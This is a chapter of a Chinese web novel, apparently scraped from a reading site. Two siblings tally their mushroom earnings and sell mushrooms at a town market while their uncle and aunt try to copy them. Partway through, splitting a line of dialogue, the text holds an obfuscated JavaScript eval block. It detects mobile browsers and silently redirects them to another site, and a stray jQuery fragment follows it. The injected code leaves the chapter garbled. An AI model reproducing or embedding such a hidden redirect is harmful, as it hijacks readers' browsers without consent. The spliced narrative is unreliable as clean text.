默认冷灰
24号文字
方正启体

18. 第18章 二两

作者:梁黎本书字数:K更新时间:
    差很多,连一半都没有。


    宁纵想着想着:


    先前攒出二两银,加上这几天卖蘑菇赚了...赚了二两多?!


    二两?!


    宁纵震惊,觉得自己肯定是算错了:


    卧房门的平菇和野物二百来文、两个门上的平菇三十几文、陷阱的平菇五百多斤、七百来斤平菇和和山鸡野兔、五百多斤平菇和几只野兔。


    !


    !!


    不算不知道,一算...宁纵从凳子上瞬间弹起,直奔存钱的床头,想到什么又突然顿住,奔向大门紧紧关好,又抵上了两根粗木头别紧。


    庖屋,在一块靠墙的木板掀开后,坑里放了一个陶瓷罐。


    陶瓷罐是家里唯二的瓷器。


    宁纵最近就没歇过脚,不是去山上寻野物,就是垒锅灶、补墙、浇水、摘平菇、租车去镇去县、赶集...


    这还是他第一次当着宁诺的面拿出罐子。


    瓷罐里铜钱碰壁的声音还掺杂着银子的响。


    宁诺眼睁睁地看着宁纵从不起眼的墙角,提出一个罐口只有两拳宽,但罐身宛如长臂高的罐子。


    哗啦啦——


    宁纵将里面的铜钱倒在地上,有零散的,也有串成串的,他招呼宁诺:“过来过来,数数有多少。”


    宁诺虽然不知道宁纵这一通忙慌是为什么,但还是走过去数了起来。


    二两的碎银黑不溜秋奇形怪状,在小小的庖屋里并不起眼。


    簪子的重量远高于手里的碎银,但宁诺现在还不知道这碎银有多重。


    真的赚了二两多!二两六百多文钱,还得加上这阵子买的米和粗面、盐和一小块猪油。


    苦工每天才一百文,还不是天天有活计,这才半月竟然真的赚了这么多!


    宁纵估算了山上还没长成的平菇重量,难掩激动:“再卖一茬平菇,这几天我多上几次山打些野物,就有五两银了。”


    他不敢说再多卖几茬平菇,毕竟蘑菇这东西山里生山里长,人只能等着瞧着,又不是想让它长出来就能长得出来的。


    宁诺听了宁纵说的,将数出的铜板一减,大概也算出那块碎银有二两左右。


    还缺五两啊...这话宁诺没说出口。


    宁纵倒是看出宁诺的情绪:“现在比以前好太多了,到月底攒不出来我就去问里长借,里长会答应的。”


    里长家有钱,里长会借,这事宁纵心里有数,还有就是话虽然这么说,但他清楚月底是真的攒不出十两银子,好在不是没有出路。


    他想了想,接着说:“这次的平菇不是很多,镇上的要求也不高,多让平菇在树上长一天,正好镇集那天早些去,每个酒馆酒楼挨个走一遍,细碎的平菇还能拿到集上卖。”


    不仅是细碎的平菇,还有那绿色的蘑菇,能多赚一文钱是一文钱。


    宁诺听了没有犹豫,她也是这么想的,尽管自己又补种上许多平菇,终归不下雨,水即使每天浇也不够晒的:“好的大哥,那我们出去的话二哥回家有钥匙吗?”


    她其实想问宁程具体什么时候旬休。


    宁纵将陶罐放回原处,才想起宁诺没有家里的钥匙,转身掀起被褥一角拿出藏在底下的钥匙:“给,咱家就大门上有一把锁,这钥匙你要是觉得不好拿可以扭个根草绳拴着。”


    钥匙很长、很细,上面的划痕斑驳,一看就是用了许久,是个老物件。


    宁诺低头看着手里的钥匙,一边琢磨怎么扭草绳,又想解释自己不是这个意思,还是作罢。


    反正这几天不下雨,采完这茬蘑菇让那些枯树枯枝休息几天缓一缓,数算日子一旬是十天,离宁程回来估计也没几天了。


    趁这功夫,宁纵盖好木板,又把木桩子搭起的床移回墙边。


    “你在家歇着,我再出去一趟。”


    虽然休息了一会,但是宁诺现在的脚还是累得不行,腿也不听使唤,她并不打算硬撑,万一到时候磕着绊着,还不够给宁纵添乱的。


    小锅灶已经晒干,使用起来就不用太小心,宁诺对此已经熟练掌握用其做饭的技巧。


    这几天的伙食,已经不再是清水米粒汤,虽然不是能立住筷子的程度,好歹米多了些,还能吃上杂粮锅贴。


    至于粘松团,好吃是好吃,但因着油太贵,不放油又不好吃,做起来比平菇麻烦许多,就一直存放着。


    越堆越多,镇上没人收,上次问过县里也不收,只能吃不能换钱。


    山里的平菇减产,自家的门还是能保证八成的产量。


    大门里侧这一面,种上平菇。


    【菌种已适量种下。】


    就在她生火做饭的功夫,远在山上的伯父伯母,已经采了许多绿色青色的蘑菇。


    宁伯母:“当家的,你说这些蘑菇跟那叫什么青头菌的是一种吗?”


    宁伯父:“有什么不一样的?咱们找的这些还比那俩兔崽子卖的大上许多呢!”


    宁伯母看着手里的绿蘑菇,心里虽然不太确定,但想着这是往山里处走才寻见的,跟外围定是不一样,以前没人吃是很少有人敢来深山里,这么一想倒是见绿如见钱。


    宁伯母:“对,越大的卖的越贵。”


    宁伯父:“抓紧找吧,走这么往里总感觉有什么东西看着我,要不是为了这东西,打死我都不来这里!”


    宁伯母:“呸呸呸!胡说什么呢!”


    日子一过就是几天...


    晒干后的青头菌自己留着吃,新鲜采摘的则更适合铁板烘烤。


    这也是青头菌的限制,野生野长不能控长成的时间,采摘不吃放两天准坏,家里又买不起冰块,能用来拿到集市上卖的,只能是前一天下午采的和第二天一早采的,并用鲜草盖着放在阴凉处。


    镇集这天,天还没亮宁纵就已经背着筐篓往返在山间和家,只待平菇摘得差不多了,宁诺也将早饭做好。


    只是吃之前,宁诺还要把宁纵采来的青头菌进行挑拣,以防有个别宁纵识别不清的毒蘑菇混入。


    宁纵:“你看,这是不是你说的那种红粉色的蘑菇?”


    宁诺接过用好几层草包起来的蘑菇,一眼便确定:“对,这就是红平菇。”想到八方酒楼管事的叫法,又改口:“红树菇。”


    入乡随俗,这里的人怎么说,她也怎么说。


    上次卖出金树菇的时候,那管事顺口问了下有没有红树菇,也会高价收,宁诺听清了,宁纵当时更后悔扔掉的那些。


    这次没见到金树菇,尽管红树菇就只有这么一捧,宁纵心里也好受一点,总算没再浪费。


    而大门外,始终猫在草后的两人,早已眼馋宁纵下山时背筐里的东西,只是他们不敢摸黑进深山。


    这两天他们也没少采‘青头菌’,但为了不让宁纵察觉到,每每都是趁宁纵回家了再进山。


    好在山里处跟外围就是不一样,不仅蘑菇多,甚至连兔子都误打误撞抓到一只,唯独就是连鸟叫都阴森,要不是为了能赚钱,这提心吊胆的活计真不是人干的事。


    等两人见宁纵不再出门,才上了山,等再从山上下来,正巧遇见了出门的宁纵和宁诺。


    宁伯母:“当家的,他们这是要出村?”


    宁伯父:“我就知道这俩兔崽子会趁赶集这天出去。”


    宁伯母:“那还不赶紧回家把锅整出来,咱也去!”


    宁伯父:“走走走,等到集上咱们就租个紧挨着摊位,看能把我们怎么样!”


    牛车的轱辘在土路上转着圈,宁诺照旧倚着筐篓。


    刚才还说回家拿锅,怎么这么慢?


    【距离太远听不到了。】


    牛车再慢也比人走得快,更何况是扛着锅的人。


    宁伯母:“咱们就应该也租个牛车!”


    宁伯父:“租牛车干什么,还得交看棚的钱。”


    宁伯母:“看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520161|203292||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    棚才几个钱,咱们是能走着去,他们带那么多平菇,没牛车你猜会怎么样?”


    宁伯父弯着的腰瞬间有了力气:“对,下次咱先把牛车跟里长定下来,看那俩兔崽子怎么办!”


    天色渐亮,早上的镇集并不热闹,各个摊贩大多也才到,正支起架子挂上‘招牌’,方正的木牌上刻着货品和对应的价格,清楚明了。


    大部分酒馆还未开门,不是开门做生意的开门,而是时间尚早,后厨收货的门有的也未开始。


    品相好的平菇整齐放在筐里,零散或者有晒伤炸伞的,就散在车板上,人来人往间便有人主动问价。


    见有人问价,宁纵索性找了个不挡道的空地停下。


    “这树菇怎么卖的?”


    问价的是个大娘,宁诺自然地接道:“您是自己吃还是送人?这种好的两文钱一斤,要是自己吃买零碎的就行,都是今早摘的,看看这伞盖上还挂着白霜呢,保准新鲜,两斤只要三文钱。”


    这个价格是宁诺和宁纵商量好的,虽然情理上来讲零卖应该比批量给酒馆贵一些,但是价格上去买的人就少,卖不出去剩下自己吃不完也是浪费,要是晒干,家里已经有很多晒干的了,再加上这个时节的天又多变,明天还不一定是太阳还是下雨,不如价格实惠些,薄利多销。


    “是挺新鲜。”


    “大娘一看就是懂行的,好眼光,我们这才来就被您看到了,称斤回家尝尝?”


    “小姑娘,便宜些。”


    “大娘,这些品相好的,卖给酒馆都得两文一斤,散卖的您转转,难找第二家这么便宜的,这几天不下雨,什么蘑菇都少,还有我们这称上也保证满斤满两。”


    这话一点也不掺假,自家每天都进山浇水,产量都不足预计的八成,更别提无人照顾的野生菌。


    “行行行,来两斤,你这丫头还挺会说话的,这外面的不行,你从里面,给我挑点别太碎的。”


    从李婶家借来的杆称宁诺还不太会用,宁诺挑出只是零散但是不碎的,宁纵负责称好,宁诺就只管收钱。


    “没问题。”


    “等等,那里面的是什么?”


    这个大娘指着两个筐之间的角落,红树菇上盖着的草,因为路上的颠簸,有些松散掉落。


    “红树菇。”宁诺见状直接把红粉色的平菇拿出来,“大娘,这叫红树菇,极少见,您吃过吗,要不要来斤尝尝?”


    红树菇就一捧,卖给镇上的酒馆还不知道能不能给出县上出的价,为了这一点也没必要往县上跑一趟,若是能零卖出去,镇上的酒馆收金树菇普遍是十文一斤,这红树菇也按十文一斤。


    “这色的蘑菇能吃吗?”大娘摆手:“算了,算了。”


    虽然现在的人不多,倒是把红树菇卖了出去,从对方的衣着上看,是大户人家的样子。


    不过一会儿,周边酒馆的后厨相继开门,这次的平菇还没第一次的多,卖出最后一筐品相好的平菇,宁纵收下酒馆掌柜递过的钱,轻车熟路地藏好。


    牛车进棚,两人交钱又租了上次的摊位。


    架锅生火的手法越来越熟练,熟悉的青头菌香味,又引来周围摊子的侧目。


    随着来往的人越来越多,铁板烧的摊子也忙了起来。


    锅在家里看着很大,但真正忙生意的时候,又觉得锅太小。


    眼下都是要青头菌的,平菇压根就来不及烤,好在价格便宜,按斤称卖的比烤着更快。


    烤青头菌是门技术活,火候不能太大,得慢慢烘烤,来得早就吃得早,来得晚就只能等下一批。


    一食客眼见就要到自己了,前面的人却包圆了烤好的所有,瞬间急了:“你买这多么干什么,没见我还带着孩子吗,少买一个不行?”


    宁纵一边包好青头菌,抬头正想说什么。


    这时,不远处传来一道熟悉的声音:“青头菌,烤青头菌!走过路过停停脚,一吃一口香的青头菌!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)